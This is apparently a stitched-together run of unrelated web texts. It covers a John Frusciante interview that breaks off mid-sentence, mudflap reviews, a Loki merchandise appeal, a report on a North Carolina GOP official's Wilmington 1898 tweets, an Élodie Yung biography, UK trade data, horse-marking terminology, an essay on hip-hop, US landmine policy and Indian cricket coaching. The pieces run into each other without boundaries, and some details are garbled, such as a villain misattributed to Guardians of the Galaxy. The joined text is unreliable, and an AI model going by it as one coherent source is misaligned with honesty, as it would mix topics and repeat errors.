Frusciante explained his years of education and growth as a solo musician since leaving the band dynamic—and why he’ll never go back. "When it comes down to it I probably have a lot more in common with old classical composers from the 1700s than I do with the rock stars of today," he said. "I don't even think of the guitar in the same way anymore. I’ve learned to think more like a pianist, where I have a wider view of music." That view has recently opened another door for Frusciante, as album producer for the Wu-Tang Clan-affiliated hip-hop group Black Knights. Their first collaboration, "The Medieval Chamber," will release on indie label Record Collection in December. These are excerpts from the interview:
Billboard: "Outsides" begins with a song that includes a 10-minute guitar solo. Is that the longest solo on record that you know of?
John Frusciante: Oh, no, no. Frank Zappa took quite a few extended solos around that length. Yeah, and Jimi Hendrix also did. If you listen to live recordings of Jimi Hendrix, a song like "Machine Gun" usually has a 10-minute solo quite often.
New Sound: Frusciante
Do guitar solos require any sort of structure, or even practice?
Especially in the case of this one, it reflects the music, you know? I mean, any guitar solo should reflect the music that it’s soloing over and not just be existing in its own sort of little world. But that’s what a lot of people who in the Seventies played extended solos, they would just kind of get lost in their own world, and so they became what I would consider to be a kind of a lazy area for guitar players. But in this one it’s reflective of the song, which is something that Frank Zappa wasn’t doing with his extended solos, because he would depart from the song and have a very simple section that he could easily solo over without having to think about too much other than his own playing. And I’ve studied these solos my whole life, I love them, but I see the difference between them and a song. I think a solo moves forward the way a song does, because it’s reflective of the chords that I’m considering as I’m soloing, and at the same time I’m going as much out on a limb as Frank Zappa used to, in terms of just going crazy on the instrument.
Yet you’ve taken on additional instruments, and you also record your music at home.
For me, living and making music, they’re one thing. It’s not like a job that I go to a studio to do, or a chore that I have to get myself in the mood to do, or something. It’s the thing that I need to do every day. I got good advice from a manager a long time ago, suggesting that instead of spending money on recording budgets that I get my own studio. And he sure was right. [...] Progressive rock was a style of music that began with The Beatles, where they started incorporating aspects of jazz and aspects of classical music and aspects of music from other cultures into rock music, and it became apparent that rock music was a malleable form of music, like on the second side of “Abbey Road,” where every song is connected to the next one. And bands like Genesis and King Crimson and Yes were basically, for me, carrying on what The Beatles had started, by challenging tradition, basically, and challenging the general way that things were done. So I really admired what those bands did my whole life, and that really wasn’t a part of what I did when I was in the band. We didn’t do 15-minute songs or stray away from traditional formulas too much. And synthpop for me is just rock music made with synthesizers and drum machines. Really, my instrument now is the entire mix of instruments.
You play so many. Have any ever intimidated you?
I bought a clarinet, and I wanted to learn how to play that but it interfered with my singing. And I think there would be a time period if I learned it where it would make my throat tense, at least briefly, until I learned how to breathe properly. So yeah, I’ve had this clarinet sitting around for, like, a year and haven’t learned it. You know, that’s the beauty of the technology of sampling: You can play any instrument or any combination of instruments. You basically have the history of recorded music to play as your instrument. And I’m pretty adept at that. So there’s really no need to learn how to play other instruments since I can do that.
How does selling your music through a platform like Topspin differ from having the backing of major labels and distributors?
In this environment of music and the way that it’s being consumed today, I think we’re seeing the ill effects of business-minded thinking being applied to artists, and artists learning to think more like businessmen and more like celebrities than musicians. So luckily I removed myself from that world, and every day for the last five years or so I’ve thought specifically about new places to go and finding new challenges for myself. And part of that meant that I spent about three years making music that I had absolutely no intention to release. [...] These have been the most helpful things to my music growth. When you get in a band, especially a band that’s popular, you don’t even realize that you’re doing it because it’s so natural to do, but you basically stick to proven formulas and things that have proven themselves able to sell to people. And by doing that very little growth takes place over a period of years. Whereas I feel like a completely different musician now than I was five years ago, with a completely different range of things that I can do and things that I’m good at. There would be no chance to get good at those kind of things in the environment that I was in as a popular rock musician, in this day and age.
When did it hit you that you were no longer flourishing creatively within the band dynamic?
Well, as I said, I had always wanted to do electronic music and I had only dabbled in it throughout the 10 years or whatever it was that I was in the band after rejoining [in 1998]. And it’s one of those things like anything else that you have to do it every day for years to get good at it. And so it was always something that I wanted to do but we were so well-received as a band that it didn’t really occur to me to quit until Flea came to me at one point and said, “I want to take a two-year break after this tour.” And he said that to me about halfway through the [2007 “Stadium Arcadium”] tour, and when he said it I was kind of shocked, 'cause I thought we were on a roll, let’s just keep moving with this, you know? But once he said it to me, my mind started thinking, "What would I do with that two years if I had two years to just do whatever I wanted?" And by about four months later I was so excited about quitting the band I didn’t even want it to be a two-year thing anymore. I just knew that I didn’t ever want to be in the band again, you know? And I didn’t actually quit until several months after we were already on the break, but I knew I wanted to quit months before the tour was over. I was determined to. Because there were so many electronic musicians who I loved what they did, and I knew that musically I had grasped an understanding of it from learning it on my guitar. But I also knew that until I learned how to program the old machines that Roland made from the early Eighties that I wasn’t going to be able to actually create the music involving the musical principles that were inherent in what those people were doing. So in the middle of that tour I got a TB-303 machine and carried that around from hotel room to hotel room, and I got a TR-606 drum machine and I carried that from hotel room to hotel room. It was a whole new way of thinking, it was a whole new way of creating music, and it was like going to music school in a lot of |
to the 2500 does not have dual exhaust out the rear like the 1500 did. I called in to ask if it was possible, it was, I ordered them and all is well. Thank you for the great customer service as well. "
By Rob C.- IA
" I tow my boat down a gravel road to get to where I need to launch. For years, I have been trying to find a solution, to keep it from being damaged, that wasn't a permanent mounted mudflap. These ROCKSTAR mud flaps appear to be the answer to my quest. Honestly, wish I had found them 15 years ago - would have saved a lot of damage to my trailers. My initial impression upon opening the box was WOW. The quality of materials truly impressed me before I even started. Living in the Midwest rust belt, I really appreciate the use of heavy aluminum for the frame, and how many companies go to the expense of using actual stainless steel hardware anymore? The instructions are easy to read and follow and actual assembly is simple and straightforward. The actual mudflaps are thicker than the ones on my semi. Everything about these says quality. The savings in reduced damage to trailers and boats makes them worth every cent. "Are you a fan of Loki/Tom Hiddleston and you're sick of seeing Loki get the shaft by different companies like Disney, Marvel, or Build a Bear?
Did you know that Build a Bear has every other Avengers character except Loki?
Did you know that Build a Bear has no issues with making villain stuffed animals? They have Conan the Destroyer from Guardians of the Galaxy. But no Loki. Even though Loki is not technically considered a villain.
It is pretty widely known that Loki has more fans than even Thor, yet Thor has had tons of merchandise but Loki has hardly any. How fair is that?
In fact, Disney has a picture of Loki on the Marvel tags of all their other stuffed Marvel Tsums and to this date (10 months later) they have yet to release Loki. Just a few weeks ago did they even bring up Loki and only as a plastic toy. Still no release date on him.
It's time we put our voices together to get Loki more stuff. I think we should tackle all three: Disney, Marvel, and Build a Bear to get him featured.If N.C. Republican Party Executive Director Dallas Woodhouse set out to deliberately stirrup a hornet’s nest of controversy and criticism with his latest racial remarks, he’s succeeded.
With no less than the chairman of the N.C. Democratic Party calling Woodhouse “unhinged,” Democrats and activists literally lined up Monday to blast the unabashedly partisan Woodhouse for stating in a series of tweets Sunday that Democrats “murdered blacks” in the port city of Wilmington during the Nov. 10, 1898, Wilmington Race Massacre, when white supremacists attacked and killed black people, sowing the seeds of the racist Jim Crow era that would last at least a century after.
Woodhouse reliably trolls the Democratic Party every chance he gets, but this time, critics say, he’s gone too far.
It all started when the N.C. Democratic Party sent out a tweet Sunday acknowledging Aug. 6 as the 52nd anniversary of the 1965 Voting Rights Act, the landmark federal legislation that outlawed racial discrimination in voting.
“On this anniversary of the Voting Rights Act, let’s celebrate how far we’ve come but remember that we must fight to keep moving forward,” stated the N.C. DP tweet. Accompanying the message was a picture of former President Barack Obama with his family, marching across the Edmund Pettus Bridge two years ago to mark the 50th anniversary of the historic civil rights march from Selma to Montgomery, Alabama.
The N.C. DP tweet included the famous quote from former civil rights activist John Lewis, now a U.S. congressman from Georgia. “If you see something that is not right, not fair, not just, you have a moral obligation to do something about it.”
Then, Woodhouse, for whatever reason, decided to respond to the N.C. DP tweet with, “From the party that ran a racist campaign of murder and closed the polls to blacks who were Republicans, gaining power for 100 years.”
In subsequent tweets, the N.C. GOP executive director continued, “After they murdered blacks in
Wilmington [the N.C. Democratic Party] passed what they call the White Declaration of Independence. The Wilmington Riot of 1898 was not an act of spontaneous violence. The events of Nov. 10, 1898 were a result of the long-range campaign strategy by Democratic Party leaders to regain political control of Wilmington – at that time [the] state’s most populous city – and North Carolina in the name of white supremacy.”
For the most part, the facts that Woodhouse stated are not wrong, though he admitted in a subsequent interview that he actually got them from Wikipedia.
But Democrats, and others, blasted Woodhouse for essential information he apparently left out to leave the impression that the Democratic Party is still ruled by white supremacists, and that Republicans are a much better political fit for African-Americans today.
Indeed, until the 1960s, blacks were primarily members of the Republican Party because historically, it was the party of President Abraham Lincoln, known for freeing the slaves. Blacks shifted to Democrats with the election of President John F. Kennedy.
“Woodhouse’s statement failed to mention that the North Carolina General Assembly and the N. C. Democratic Party did issue formal apologies (in 2007) for the massacre and the resulting official oppression which was imposed upon African-Americans in this state from 1898 until 1970,” says N.C. NAACP Legal Redress Committee Chairman Irving Joyner, who also served as a co-chairman of the 1898 Wilmington Race Riots Commission, which researched the incident, and issued a report in 2007.
“Those apologies did not rectify nor compensate for the many deaths and destruction which African-Americans experienced, but they did acknowledge that a terrible wrong did occur to our people and to every North Carolina citizen,” Joyner added.
Woodhouse apparently also forgot that it was a Republican – then state House Rep. Thom Tillis (now a U.S. senator) – who actively opposed the official apology from the Democrat-led N.C. General Assembly, telling his constituents in a letter, “It’s time to move on.”
Rep. Deb Butler, a District 18 Democrat representing Brunswick/New Hanover counties, was blunt about the thinly veiled N.C. GOP rhetorical attempt.
“The suggestion that the North Carolina Democratic Party is harmful to African-Americans is perfectly ludicrous,” she said. “One need look no further than the current composition of the North Carolina House of Representatives to see that not ONE person of color serves from the N.C. GOP.”
Rep. Butler continued, “Democrats in N.C. today embrace diversity in every way. That side of the aisle mirrors Trump’s Cabinet and it is entirely homogeneous. ”
After saying in a statement that, “This is unhinged even for the N.C. GOP, a party that is desperate to hide three words: illegal racial gerrymander,” N.C. Democratic Party Chairman Wayne Goodman continued, “Republicans … are targeting African-American voters with ‘surgical precision’ [with voter suppression], and would rather attack Democrats than work to protect voting rights for the black community.”
State Sen. Paul Lowe (D-Forsyth) agreed.
“Since the 1960s, the Democratic Party has been more sensitive to the issues and concerns of people of color, women and the poor. At this time, the Republican Party doesn’t seem to be offering a moderate or progressive agenda that will serve all the people of this state.”
However, Rep. Ed Hanes Jr. (D-District 72), feels that neither Republicans nor Democrats have been completely just in their treatment of African-Americans.
“It’s difficult to howl about the ills of the Republican Party, however, when racism and social division persists within the Democratic Party. Is it better? Yes, without doubt,” Hanes said, but later adding, “We’re a party divided very similarly to how our nation is divided.
“The Republicans know and exploit it!,” Rep. Hanes concluded.
And N.C. NAACP Legal Redress Chair Irv Joyner summed up reaction to Woodhouse’s controversial tweet with, “While I am cognizant that Woodhouse is aware of the past sordid history of the Democratic Party, I bemoan his failure to recognize and acknowledge the racial harm that the present day Republican leadership is attempting to inflict upon African-Americans and racial minorities today.”
For his part, N.C. GOP Executive Director Woodhouse told a local Raleigh television station Monday that he was “tired of being lectured to by people with a murderous, violent history.”
Several Republican lawmakers were contacted for comment for this story. Only one responded, Rep. Donny Lambeth, and that was only to say that he was away on vacation with his family this week.Élodie Yung ( French pronunciation: [elɔdi juŋ]; born February 22, 1981) is a French actress. She is best known for her role as Elektra Natchios in the second season of the Marvel Cinematic Universe Netflix series Daredevil and the Netflix miniseries The Defenders.
Early life [ edit ]
Yung was born in Paris, on February 22, 1981. Her father is Cambodian and her mother is French.[1][2] She grew up in Seine-Saint-Denis.[2] Her father enrolled her in karate classes at age 9,[3] and she eventually became a black belt in her late teens.[4][2] Yung earned a law degree at the University of Paris with the intention of becoming a judge.[2][5][6] However, at the age of 29, she instead pursued acting at the London Academy of Music and Dramatic Art.[2][6]
Career [ edit ]
Yung's first roles were on TV after she started receiving acting role proposals when she was 20 years old.[7] Following her 2004 film debut as female lead Tsu in Les fils du vent, she played the gang lord Tao in District 13: Ultimatum.[6] Yung returned to TV for the first three seasons of the successful police series, Les Bleus with Clémentine Célarié.[8] Yung appeared in the 2011 film The Girl with the Dragon Tattoo as Miriam Wu, a romantic interest of Lisbeth Salander.[6] In 2013, she appeared on the silver screen as the ninja Jinx in G.I. Joe: Retaliation.[9] She starred in the film Gods of Egypt (2016), as the goddess Hathor.[10] She plays Elektra in season 2 of Daredevil in 2016, and reprised the role in 2017 in The Defenders.[11]
Personal life [ edit ]
In June 2018, Yung announced she was pregnant with her first child in an Instagram post.[12] Her and Jonathan Howard's daughter, Minavann Yung Howard, was born early August 2018.[13][14]
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
Video games [ edit ]
Year Title Voice role Notes 2017 Call of Duty: WWII Olivia DurantBritain’s trade deficit in goods ballooned to a record high in August as official data again failed to signal any significant benefit to exporters from the Brexit-induced collapse in the pound.
Figures from the Office for National Statistics (ONS) showed that Britain’s trade deficit in goods rose by £1.4 billion to £14.2bn as the country imported more chemicals, machinery and textiles.
In the three months to August, exports fell 2.7% while imports rose 3.9%.
It had been thought that British exporters would be able to benefit from the fall in the value of the pound, which makes UK goods cheaper for overseas buyers, but any real benefit has yet to materialise.
As Theresa May’s Brexit negotiations continue to falter, the ONS figures also show that Britain’s import of goods from the EU hit a record high in September.
The UK imported over £22 billion worth of goods from the EU in August, but only exported £14bn, driving home the importance of a trade deal as the clock ticks towards Brexit in March 2019.
Oliver Kolodseike, senior economist at the Centre for Economics and Business Research, said: “The ONS figures highlight how dependent the UK is on trading with the EU.
“These figures indicate how important it is for the UK to make progress with Brexit negotiations as leaving the EU without a deal could have far-reaching negative consequences for exporters.”
Britain’s total goods and services trade deficit, the gap between exports and imports, widened by £2.9bn to £10.8bn in the three months to August.
In brighter news, output in Britain’s manufacturing sector came in ahead of expectations, climbing 0.4% month-on-month and 2.8% year-on-year.
Industrial production rose by 0.2% month-to-month in August, in line with forecasts and July’s 0.2% increase was revised up to 0.3%.
Construction output rose by 0.6% in August from July, however, on a three-month basis it fell 0.8%.
The data dump comes amid a worrying slowdown in Britain’s economic performance this year.
Samuel Tombs, chief UK economist at Pantheon Macroeconomics, said that the figures could mean the Bank of England, which had been expected to increase interest rates in November, may now think twice.
He said: “Industrial production is growing too modestly to offset the hit to GDP growth from the slowdowns in the construction and services sectors.
“Note that the MPC’s hawkish shift last month was driven by its judgment that there was upside risk to its GDP forecast, which no longer appears significant.”All of these young stallions are chestnut, but unique markings can be used to identify individuals
Markings on horses usually are distinctive white areas on an otherwise dark base coat color. Most horses have some markings, and they help to identify the horse as a unique individual. Markings are present at birth and do not change over the course of the horse's life. Most markings have pink skin underneath most of the white hairs, though a few faint markings may occasionally have white hair with no underlying pink skin. Markings may appear to change slightly when a horse grows or sheds its winter coat, however this difference is simply a factor of hair coat length; the underlying pattern does not change.
On a gray horse, markings visible at birth may become hidden as the horse turns white with age, but markings can still be determined by trimming the horse's hair closely, then wetting down the coat to see where there is pink skin and black skin under the hair.
Recent studies have examined the genetics behind white markings and have located certain genetic loci that influence their expression.[1]
In addition to white markings on a base coat, there are other markings or patterns that are used to identify horses as with Appaloosa, Pinto or Brindle, as well as artificial markings such as branding.
Types of white markings [ edit ]
Facial markings [ edit ]
Facial markings are usually described by shape and location. There may be more than one distinct facial marking and if so, will be named separately. Occasionally, when a white marking extends over an eye, that eye may be blue instead of brown, though this is not consistently seen in all cases.
Facial markings. Top row, L-R: blaze, stripe, stripe (or thin blaze) and nose, irregular blaze, interrupted stripe, bald face. Bottom row, L-R: faint star, star, star and strip, irregular star, snip, lip masking.
Common facial markings are:
Blaze : a wide white stripe down the middle of the face.
: a wide white stripe down the middle of the face. Strip, stripe, or race : a narrow white stripe down the middle of the face.
: a narrow white stripe down the middle of the face. Bald Face : a very wide blaze, extending to or past the eyes. Some, but not all, bald faced horses also have blue eyes.
: a very wide blaze, extending to or past the eyes. Some, but not all, bald faced horses also have blue eyes. Star : a white marking between or above the eyes. If a stripe or blaze is present, a star must be significantly wider than the vertical marking to be designated separately.
: a white marking between or above the eyes. If a stripe or blaze is present, a star must be significantly wider than the vertical marking to be designated separately. Snip: a white marking on the muzzle, between the nostrils.
Additional terms used to describe facial markings include the following:
Faint: A small but permanent marking that usually consists of white hairs without any underlying pink skin.
Interrupted: A marking, usually a strip or blaze, that is broken and not solid for the entire length of the face.
Connected: Occasionally used to describe distinctively different markings that happen to be joined to one another
Irregular or crooked: A marking, usually a strip or blaze, that does not have a more or less straight path.
Lip markings: have no specialized names, usually are described by location, such as "lower lip," "chin", etc. Lip markings may indicate presence of the sabino color pattern.
Leg markings [ edit ]
Leg markings. Top row, L-R: Stocking, Sock or Boot, Fetlock or Sock. Bottom row, L-R: Pastern, Coronet, Partial Pastern
Leg markings are usually described by the highest point of the horse's leg that is covered by white. As a general rule, the horse's hoof beneath a white marking at the coronary line will also be light-colored ("white"). If a horse has a partial marking or ermine spots at the coronary band, the hoof may be both dark and light, corresponding with the hair coat immediately above. Where the leopard gene is present, the hoof may be striped even if markings are not visible at the coronary band.
From tallest to shortest, common leg markings are:
Stocking : white marking that extends at least to the bottom of the knee or hock, sometimes higher.
: white marking that extends at least to the bottom of the knee or hock, sometimes higher. Sock: white marking that extends higher than the fetlock but not as high as the knee or hock. This marking is sometimes called a "boot."
Fetlock or Sock : white marking that extends over the fetlock, occasionally called a "boot."
: white marking that extends over the fetlock, occasionally called a "boot." Pastern : white marking that extends above the top of the hoof, but stops below the fetlock.
: white marking that extends above the top of the hoof, but stops below the fetlock. Coronet: white just above the hoof, around coronary band, usually no more than 1 inch (2.5 cm) above the hoof.
Additional terms used to describe white leg markings include:
Irregular: A marking within the broad confines of a given height, but with significantly uneven edges. Indicated by the highest point of the white. Most often used to describe certain types of stockings.
Partial: An irregular marking that only extends up part of the leg to the height indicated, sometimes with the other side of the leg dark. Usually used to describe socks and other short markings.
"High White:" White stockings that extend above the knee or hock, sometimes extending past the stifle onto the flank or belly, considered characteristic of the sabino color pattern.
Examples [ edit ]
Facial markings [ edit ]
A baldfaced horse
A horse with a blaze
A horse with a star, interrupted stripe, and snip
A horse with a star
Leg markings [ edit ]
Shorter marking is sometimes called a "fetlock" or a "sock," taller marking is clearly a sock
A stocking
A horse with "high white," including stockings on all four legs
A coronet marking
Non-white markings [ edit ]
Ermine marks (just above the hoof) A Bend-Or Spot
Bend-Or spots: Dark faint spotting, usually seen on horses with a Chestnut or Palomino coat color.
Ermine marks: The occurrence of black marks on a white marking, most often seen on leg markings just above the hoof. May cause the hoof to be striped.
"Medicine hat": An unusual type of Pinto or Paint coloring where the horse has dark ears and poll (like a hat on the head), but surrounded on all sides of the head and neck by white. [2]
Shield: A dark Pinto marking where the horse has a dark colored chest, surrounded completely by white on the shoulders, legs, belly and neck. Occasionally used to describe the rarer example of a horse with a totally dark head surrounded completely by white.
Other markings [ edit ]
This horse has a belly spot. It also has a blaze and three stockings
Horses may have isolated body spots that are not large or numerous enough to qualify them as an Appaloosa, Pinto or Paint. Such markings are usually simply called "body spots," sometimes identified by location, i.e. "belly spot," "flank spot," etc. When this type of isolated spotting occurs, it is usually the action of the sabino gene.
Horses may develop white markings over areas where there was an injury to the animal, either to cover scar tissue from a cut or abrasion, or to reflect harm to the underlying skin or nerves. One common type of scarring that produces patches of white hairs are "saddle marks," which are round or oval marks on either side of the withers, produced by a pinching saddle that had been worn over a long period of time.
Natural markings [ edit ]
Birdcatcher spots are small white spots, usually between 1 mm and 1 inch (25 mm) in diameter. It is not yet known what controls their expression, although it is believed that they are not genetic. Birdcatcher spots occur in many breeds. These spots may occur late in a horse's life, or may occur and then disappear.
Ticking or Birdcatcher ticks are markings that involves white flecks of hair at the flank, and white hairs at the base of the tail, called a "skunk tail". These patterns are permanent and probably genetic. It is thought that this roaning effect might be linked to the rabicano gene. The name comes from a Thoroughbred horse named Birdcatcher, who had white hairs throughout his flank and tail.
Scarring, skin disease and injury [ edit ]
Scarring on a horse usually results in white hairs growing in over the injured area, though occasionally there may be no hair growth over the scar at all.
Rainscald or Dermatophilus congolensis can leave a horse with small white spots, especially along the topline.
Roan horses often develop patches of solid (dark) hair on the roan sections of their bodies wherever there has been any scratch or damage to underlying skin, even if only slight. These are sometimes called "corn marks" or "corn spots."
A type of deliberate human-created scarring that results in white hair is Freeze branding, a method of permanently marking a horse for identification purposes. Some forms of hot branding may also scar lightly enough to leave white hairs rather than bare skin.
Leg scars left from pin firing or bar firing, in which an injury is blistered with hot iron, can leave dots or lines of white hair in a very distinct pattern. This is usually seen on Thoroughbreds that have raced. This treatment is not commonly practiced, but such markings are still occasionally seen.
Scars from accidents, as well as old injury sites (such as bowed tendons), can also be used to identify a horse.
Saddle marks may be seen on the back or withers as a patch of white hairs, usually a result of wearing an improperly-fitted saddle for long periods, but also could be related to straightforward long-term saddle wear, unclean saddle blankets and other causes. White marks just forward of the withers may be the result of an ill-fitting horse blanket worn for a long period of time.
Corn marks on a roan
Saddle marks
A white marking on the crest of a horse's neck artificially created by freeze branding, a form of marking for identification claimed to be nearly painless to the horse.
A hot brand on a horse.
A freeze brand on a horse's shoulder, a common spot for branding.
Other identifying features [ edit ]
tovero horse with blue eyes and "Medicine hat" markings.
Horses can be uniquely identified by more than just markings or brands. A few other physical characteristics sometimes used to distinguish a horse from another are:
Whorls, colloquially known as "cowlicks": divergent or convergent patches of hair found anywhere on the body but mostly on the head, neck, chest, belly, or just in front of the stifles.
"Glass" eye, "Moon" eye, "China" eye, "Wall" eye or "Night" eye: A blue eye. Horses with blue eyes are less common than horses with brown eyes, but can see equally well.
Chestnuts: A callous-like area on the inside of the horse's leg that has a subtle pattern, but one unique to each horse. It has been proposed that chestnuts could be used as a type of "fingerprint" to identify a horse, but the idea has failed to become widespread in practice, probably in part because the chestnut continually grows and sheds, making precise measurement a challenge.
Coat colors with distinctive patterns [ edit ]
Some horse coat colors are distinguished by unique patterns. However, even for horses with coat colors that are arranged in a manner unique to each individual horse, these patterns are not called "markings." Some coat colors partially distinguished by unique patterning include:
Bay: A horse coat color that features black point coloration on a red base coat. All bay horses have a black mane, tail and legs (except where overlain by white markings), caused by the presence of the agouti gene. Most have black hairs along the edges of their ears and on their muzzles, and occasionally will have a slight darkening of the hairs along their backbone.
Brindle: An extremely rare horse coat pattern; it typically features faint vertical striping in a shade slightly diluted from the base coat color. Brindling may be associated with chimerism.
Dun: A horse coat color that features primitive markings: a slightly darker hair shade from the base coat located in a dorsal stripe along the horse's backbone, horizontal striping on the upper legs and sometimes transverse striping across the shoulders. These markings identify a horse as a dun as opposed to a buckskin or a bay.
Leopard complex: Responsible for a variety of patterns, typically leopard-type spotting, and is most closely identified with the Appaloosa breed.
Pinto: A horse coat color that is distinguished by one of several possible broad spotting patterns, as opposed to the smaller spots typical of the Appaloosa. Variations include Piebald, Skewbald, Overo, Tobiano, Tovero and Sabino.
Roan: A horse coat color that features white and dark hairs intermingled together, but the horse has head and legs of the base color with very little white. Roans sometimes have dark areas on their coats similar to Bend-Or spots, called "corn marks".
References [ edit ]
Colored areas, usually white, on a horse that differ from the body colorI really like hip-hop. I listen to a lot of it. I listen to the stuff on the radio. I listen to the stuff not on the radio. I listen to old stuff. I listen to leaked stuff. I listen to whatever I can get my hands on.
My two favorite albums from 2012 are Macklemore’s The Heist and Kendrick Lamar’s good kid, m.A.A.d city. I like them for different reasons, and both are gaining a lot of attention from the online world. Lamar, by some, is being heralded as the face of a new age of hip-hop. Jeff Chang, author of Can’t Stop Won’t Stop: A History of the Hip-hop Generation argues that Kendrick is the Pied Piper of the post-hip-hop generation.
The underlying message behind the positive reception for Kendrick is concerning, though. gkmc is good, apparently, because it’s smart. Chang calls it “conscious.”
Hip-hop critics understand this problem, though. Chang is quick to point to other leaders of the post-hip-hop generation, like the much-more-mainstream Kanye West. And when Jon Caraminica from the New York Times reviewed gkmc, he did so alongside a review of traditional radio smash rapper Meek Mill’s Dreams and Nightmares. This juxtaposition, however, only serves as a temporary band-aid to a growing divide in today’s hip-hop.
A generation of artists who can trace their genealogy back to gangsta rap are dominating the airwaves, while the Kendricks of the world struggle to get airtime or intentionally scoff at the radio (many of Kendrick’s songs on his new ablum are over 5 minutes long). The popular conversation surrounding this divide is that the Kendricks of the world are too smart, too conscious to be played on the radio. “They don’t play real hip-hop on the radio anymore.”
What is meant by real hip-hop remains to be seen. Most people probably think back to Tupac or Biggie Smalls or Nas (who is still dropping new albums). But what is remembered is a golden-age of hip-hop that never really existed. In that golden age, all rap was “smart.” Tupac never rapped about girls or drugs unless he was doing so with some deeper meaning. But that’s simply not true.
Enter Macklemore. Macklemore, first off, is white and middle class (which means that we can’t compare him to Eminem, even though it’s tempting). But he can also spit. Like really spit. Macklemore is a suburban parent’s dream. He raps about getting clean and the harsh realities of drug culture. Expletives are kept to a minimum. And Macklemore’s songs about women are love songs in the most traditional sense of the genre.
And so Macklemore has been lauded by a lot of people. He has songs about marriage equality–“Macklemore bring[s] rap back to its political roots,” says Thought Catalog contributor Madison Moore. The assumption, of course, being that rap left its political roots, and thankfully, this white suburban dude was able to reclaim them.
This, of course, is balderdash. All hip-hop is political. It’s a requisite of the genre. Kendrick, Meek Mill, Macklemore, it doesn’t matter. Hip-hop, like jazz and rock and roll before it, is necessarily disruptive.
Perhaps the most criticized genre of rap is the brag rap. Brag raps are the ones that are filled with tales of sexual conquests, lots of expletives, and threats to rivals. They also tend to be the singles off albums. The “intellectual” perception is that the stupid common man can’t deal with the real themes presented on some rap albums and so brag raps offer a mindless entertainment. But, brag raps may be the most political of any rap. Brag rap has the most complicated genealogy of any rap genre. It begins with slaves. James C. Scott in Domination and The Art of Resistance writes about “the dozens”:
Compare, for example, the aristocratic tradition of the duel with the training for self-restraint in the face of insults found among blacks and other subordinate groups. Nowhere is the training in self-control more apparent than in the tradition of the ‘dozens’ or ‘dirty dozens’ among young black males in the United States. The dozens consist in two blacks trading rhymed insults of one another’s family (especially mothers and sisters); victory is achieved by never losing one’s temper and fighting, but rather in devising ever more clever insults so as to win the purely verbal duel. Whereas the aristocrat is trained to move every serious verbal insult to the terrain of mortal combat, the powerless are trained to absorb insults without retaliating physically. As Lawrence Levine observes, ‘The Dozens served as a mechanism for teaching and sharpening the ability to control emotions and anger; an ability which was often necessary for survival.’ There is evidence that many subordinate groups have developed similar rituals of insult in which a loss of self-control means defeat.
Brag rap, then, started as a coping mechanism, not for the rapper but for the listener. And it is this tradition that exists in rap music today. And it is for this reason that Meek Mill is just as political as Macklemore. To suggest otherwise is to ignore hundreds of years of racial oppression that have led to a very specific celebratory musical genre.
Macklemore, interestingly, answers many of these questions about “conscious” rap in his song “White Privilege.”
He raps:
Now I don’t rap about guns so they label me conscious
But I don’t rap about guns cause I wasn’t forced into the projects
See I was put in the position where I could chose my options
Blessed with the privilege that my parent’s could send me to college
Now who’s going to shows the kids on the block starving
Or the white people with dough that can relate to my content?
Marketed the music now adapted to the lifestyle
What happened to jazz and rock and roll is happening right now
Where’s my place in the music that’s been taken by the media
With white corporations controlling what their feeding ya
I brought up aesop rock but I’m not even dissing dude
We love hiphop and what do you think caucasians are listening to
And I speak freely when I write this
If a black emcee examined race there goes half their fan base, white kids
Macklemore sees himself as a peer of all other emcees. Earlier in the song he mentioned Aesop Rock, but in this verse he qualifies what he said. He’s not dissing Aesop. He’s not dissing contemporary mainstream rap. He’s dissing a system–a system that has made a spectacle of the slave trying to grow a thick skin so he won’t lash out when his master berates him. A system that makes this spectacle and then accuses the slave of being out of line, of saying too many bad words, of being too angry. A system that simultaneously fetishizes the sexual prowess of the slave while punishing him for talking about sexual conquests. A system that celebrates blackness as long as it is only an extension of whiteness.
All this to ask the question: can we please drop the conscious/non-conscious distinction in hip-hop?
AdvertisementsThe US has promised to destroy its stockpiles of anti-personnel landmines, and comply with an international prohibition treaty in all areas except the "No Man's Land" on the Korean Peninsula.
Barack Obama said on Tuesday that his administration would take another step towards complying with the Ottowa treaty, which was agreed in 1997 and has been signed by 162 countries.
The US president's statement was made at the annual Bill Clinton philanthropy convention in New York, and on the 20th anniversary of the former president's pledge to eliminate the weapons from the US arsenal.
"Outside of the unique circumstance of the Korean Peninsula, where we have a longstanding commitment to the defence of our ally, South Korea, the US will not use anti-personnel landmines," Obama said.
We will begin destroying our stockpiles not required for the defence of South Korea. Barack Obama, US president
"We will begin destroying our stockpiles not required for the defence of South Korea. And we're going to continue to work to find ways that would allow us to ultimately comply fully and accede to the Ottawa Convention."
In addition, the US said it would neither assist nor encourage anyone outside the region to use such weapons.
Human Rights Watch estimates the US has about nine million mines in its stockpile.
The move brings the US closer to adhering to Ottawa, which prohibits the use, stockpiling, production, and transfer of anti-personnel landmines.
Washington had only been able to pinpoint a single use of a landmine by its forces in a military situation, apart from between the two Koreas, in the last 20 years, though the official would not say where it took place.
Anti-landmine campaigners welcomed the move, but called on Obama to go further and ban the use of landmines everywhere.
"It's good that the Obama administration continues to inch toward joining the treaty, but Korean civilians need protections from these weapons just as much as people in every other country," said Steve Goose, the chairman of the US Campaign to Ban Landmines.Cricket Advisory Committee member Sourav Ganguly said that there was no hurry to announce the new coach for India and it is important to have a conversation with captain Virat Kohli (1:14)
For all the BCCI's love of "process", the process of appointing a successor to Anil Kumble for the post of Indian coach, must fall into the broad area of what is described as shonky practice.
There are many colourful side stories. Virender Sehwag was being egged on to throw his name into the mix way back in May? No way. Was the deadline really extended so Ravi Shastri could apply again? Such cynicism. The application by an enraged fan with zero cricketing background - an engineer from Burdwan, Bengal - was the most fitting response to the absurdity of it all.
The plain facts are these: the deadline for applications was midnight July 9, and until the evening of the 9th, there was little clarity on the date of the meeting to pick the coach. July 10? July 11? The 12th of never? It was finally confirmed the meeting would take place on July 10, and the BCCI's Cricket Advisory Committee (CAC) interviewed five candidates - via video conference? ESP? - in four hours and arrived at the decision to keep their decision at bay. Maybe the shortlist of candidates was nano-listed to a few chosen names based on astrological charts?
There appears to be no evidence on hand about a number of players informing BCCI officials or others even verbally about a widespread difficulty in adjusting to Kumble's style of functioning. The only fact available is that the issue came to light from a text message received by a BCCI official that was shown to the committee of administrators. It is from this SMS that the "process" of advertising afresh for a coach appears to have been set in motion. A pillow fight between five-year-olds would contain far more rational due process.
